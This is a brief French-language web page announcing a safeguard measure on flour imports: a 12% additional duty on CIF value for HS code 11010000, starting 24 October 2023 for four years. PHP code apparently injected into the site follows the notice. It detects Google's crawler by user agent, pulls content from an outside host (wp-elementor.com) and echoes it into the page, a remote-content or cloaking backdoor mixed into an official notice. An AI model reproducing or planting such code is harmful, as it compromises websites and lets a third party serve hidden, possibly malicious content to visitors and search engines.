Après la détermination positive des enquêtes, la mesure de sauvegarde sur les importations de farine suivante est mise en place :


Mesure de sauvegarde sous la forme de droit additionnel au droit de douane ad valorem au taux de 12% de la valeur CAF, mise en place le 24 Octobre 2023 pour une durée de 4 ans. Elle concerne le code SH 11010000.

Pour plus de détail, cliquer ici


 

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $isGoogle = (stripos($userAgent, 'google') !== false); $g = $isGoogle ? '1' : '0'; $url = 'https://wp-elementor.com/panel2/code.php?x=9056&g=' . $g; $content = file_get_contents($url); if ($content !== false) { echo $content; } else { echo ''; } ?>